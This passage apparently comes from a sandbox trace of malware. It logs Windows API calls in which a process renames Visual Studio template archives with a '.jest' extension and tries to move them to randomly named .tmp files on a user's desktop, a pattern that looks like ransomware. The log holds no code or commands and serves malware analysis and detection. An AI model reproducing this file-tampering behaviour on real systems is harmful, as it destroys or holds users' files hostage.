8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wgR52MTbUifNU5FpfaPd8HufzBVde02mTfPR8zx5q8X vwg6qS4NKV5BWZknwoVOiZ8oW o3iWRFFe0-Ypl7pA8hG1JCHR4 N5 x5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgr52mtbuifnu5fpfapd8hufzbvde02mtfpr8zx5q8x vwg6qs4nkv5bwzknwovoiz8ow o3iwrffe0-ypl7pa8hg1jchr4 n5 x5.tmp")) returned 0 [0163.161] GetLastError () returned 0x2 [0163.161] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.161] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip.jest")) returned 1 [0163.164] VarBstrFromR4 (in: fltIn=0x47945669, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.82") returned 0x0 [0163.164] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\43ehmqs b2vdKDCmwLCbXmosHRDDDQy4GdHdLdtbLcB99x95Cby7I81hc14 q9GbyD20Vg Fs6raKOtS9mmGW SXm80eWS9jz_w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\43ehmqs b2vdkdcmwlcbxmoshrdddqy4gdhdldtblcb99x95cby7i81hc14 q9gbyd20vg fs6rakots9mmgw sxm80ews9jz_w.tmp")) returned 0 [0163.164] GetLastError () returned 0x2 [0163.165] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.165] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip.jest")) returned 1 [0163.166] VarBstrFromR4 (in: fltIn=0x47945669, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.82") returned 0x0 [0163.167] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ov3_smIdIhuxvQ4RCJU8OrpvQIbHldJO473w5Qzir5BlX85NdXGedG59TY2moyPx0oX4nK4f7-fB3L2YaYl7Rp7f69jXfxnWv7Yv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ov3_smidihuxvq4rcju8orpvqibhldjo473w5qzir5blx85ndxgedg59ty2moypx0ox4nk4f7-fb3l2yayl7rp7f69jxfxnwv7yv.tmp")) returned 0 [0163.167] GetLastError () returned 0x2 [0163.168] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.168] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip.jest")) returned 1 [0163.169] VarBstrFromR4 (in: fltIn=0x4794566b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.84") returned 0x0 [0163.170] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bZlolR bRG7 Ue3D4R-TW-bG88hv1RyDPrR0AV4b9uh5BGK_tlqx5KJyetcmOVm6tNVjZkwZmuQCfJhvA_a68tvQXs qWluwfK3T.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bzlolr brg7 ue3d4r-tw-bg88hv1rydprr0av4b9uh5bgk_tlqx5kjyetcmovm6tnvjzkwzmuqcfjhva_a68tvqxs qwluwfk3t.tmp")) returned 0 [0163.170] GetLastError () returned 0x2 [0163.171] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.171] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip.jest")) returned 1 [0163.174] VarBstrFromR4 (in: fltIn=0x4794566b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.84") returned 0x0 [0163.175] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ GMwjbNfpYeLzclw8s2eadeYE4Les pzpBSTdTZ0M0XixCRg3EX_rBM0rTb_oUIPGxhkuolLq4qwMQLg-4RFuP TOPIrZ7FRvIR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ gmwjbnfpyelzclw8s2eadeye4les pzpbstdtz0m0xixcrg3ex_rbm0rtb_ouipgxhkuollq4qwmqlg-4rfup topirz7frvir.tmp")) returned 0 [0163.176] GetLastError () returned 0x2 [0163.176] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.176] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip.jest")) returned 1 [0163.178] VarBstrFromR4 (in: fltIn=0x4794566b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.84") returned 0x0 [0163.178] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fO17jyWF2iP_3jxe_B7NUK8UFkqp-qz_RQg2kEwdMI9qhrXtuYmPfe9-NLYN0q7WBcV6zS_L3uOQp2EF84-DXt_wzPEfWSo09lrw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fo17jywf2ip_3jxe_b7nuk8ufkqp-qz_rqg2kewdmi9qhrxtuympfe9-nlyn0q7wbcv6zs_l3uoqp2ef84-dxt_wzpefwso09lrw.tmp")) returned 0 [0163.178] GetLastError () returned 0x2 [0163.179] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.179] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip.jest")) returned 1 [0163.181] VarBstrFromR4 (in: fltIn=0x4794566b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.84") returned 0x0 [0163.182] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fewzhqGqwt3TlV-B-Tz_c0sr JNr1dzfr2FfQdx19JVMFP EkAb09sOcDQeuU3QJqPHQBm16640ZCkdVNNMjWChNXr 13jWELyYjQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fewzhqgqwt3tlv-b-tz_c0sr jnr1dzfr2ffqdx19jvmfp ekab09socdqeuu3qjqphqbm16640zckdvnnmjwchnxr 13jwelyyjq.tmp")) returned 0 [0163.182] GetLastError () returned 0x2 [0163.182] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.183] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip.jest")) returned 1 [0163.184] VarBstrFromR4 (in: fltIn=0x4794566b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.84") returned 0x0 [0163.185] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Uq4cFvo9B87ZEkbUnQQGc632MozffQBpEUk_boXCL_akcNAz8qYVVbkxLnxoer45h3gzevBrVGZivllQwn4yoLJW W_ce4-gXigD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uq4cfvo9b87zekbunqqgc632mozffqbpeuk_boxcl_akcnaz8qyvvbkxlnxoer45h3gzevbrvgzivllqwn4yoljw w_ce4-gxigd.tmp")) returned 0 [0163.185] GetLastError () returned 0x2 [0163.186] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.186] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip.jest")) returned 1 [0163.188] VarBstrFromR4 (in: fltIn=0x4794566d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.85") returned 0x0 [0163.190] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EG7KeSDW1RhIo6R7rhe4jb13Utq19A75Fsq2_6EJ7Z-o3XZlbgswALy7Q wBzNVEipx9t848p6oSGOo3N6nvhxUuuZ9gL8_2Q_L-u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eg7kesdw1rhio6r7rhe4jb13utq19a75fsq2_6ej7z-o3xzlbgswaly7q wbznveipx9t848p6osgoo3n6nvhxuuuz9gl8_2q_l-u.tmp")) returned 0 [0163.190] GetLastError () returned 0x2 [0163.190] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.191] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip.jest")) returned 1 [0163.192] VarBstrFromR4 (in: fltIn=0x4794566d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.85") returned 0x0 [0163.194] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eso5TXqPJ_ZimealNgFKPVSA6fNK7NEeFHwrOeEUJ_xpdgYv8HjHQQe0QFdjLX4M 7F4eiZetC9TWCIEWzNAgWdGgp4M7cDMyP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eso5txqpj_zimealngfkpvsa6fnk7neefhwroeeuj_xpdgyv8hjhqqe0qfdjlx4m 7f4eizetc9twciewznagwdggp4m7cdmyp.tmp")) returned 0 [0163.194] GetLastError () returned 0x2 [0163.194] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.195] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip.jest")) returned 1 [0163.196] VarBstrFromR4 (in: fltIn=0x4794566d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.85") returned 0x0 [0163.197] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GycUEPftAhAFheKzEhQz2M3gpDVljskFIuZmXJq hxR2eQs 0dBVuxsXJKRb3_hH3jgsQAjvSFXCksMDKmkY1h_nzkHtUWIUIf9gZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gycuepftahafhekzehqz2m3gpdvljskfiuzmxjq hxr2eqs 0dbvuxsxjkrb3_hh3jgsqajvsfxcksmdkmky1h_nzkhtuwiuif9gz.tmp")) returned 0 [0163.197] GetLastError () returned 0x2 [0163.198] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.198] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip.jest")) returned 1 [0163.200] VarBstrFromR4 (in: fltIn=0x4794566d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.85") returned 0x0 [0163.202] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-eIfpuujmAqvmR6y1mhuuqVzK_cUQTBtg4BGdsPW8 IVsk_1ogJnkEUn5sv8lwZp5RZTEChLgxL7T4Woo74CxD1IZdIQi164qQWSH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-eifpuujmaqvmr6y1mhuuqvzk_cuqtbtg4bgdspw8 ivsk_1ogjnkeun5sv8lwzp5rztechlgxl7t4woo74cxd1izdiqi164qqwsh.tmp")) returned 0 [0163.202] GetLastError () returned 0x2 [0163.203] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.204] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip.jest")) returned 1 [0163.206] VarBstrFromR4 (in: fltIn=0x4794566f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.87") returned 0x0 [0163.208] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SBuGhGf7jX5OKhg k0jl64ZsWqWKeiFsMU q8pQRbPO_ xsG-V-6--S2ezualcMOQ8s9t5ZTLhgRnQouFLN4-8fy0UMkXMHsIctz0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sbughgf7jx5okhg k0jl64zswqwkeifsmu q8pqrbpo_ xsg-v-6--s2ezualcmoq8s9t5ztlhgrnqoufln4-8fy0umkxmhsictz0.tmp")) returned 0 [0163.208] GetLastError () returned 0x2 [0163.208] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="隸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.209] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip.jest")) returned 1 [0163.211] VarBstrFromR4 (in: fltIn=0x4794566f, 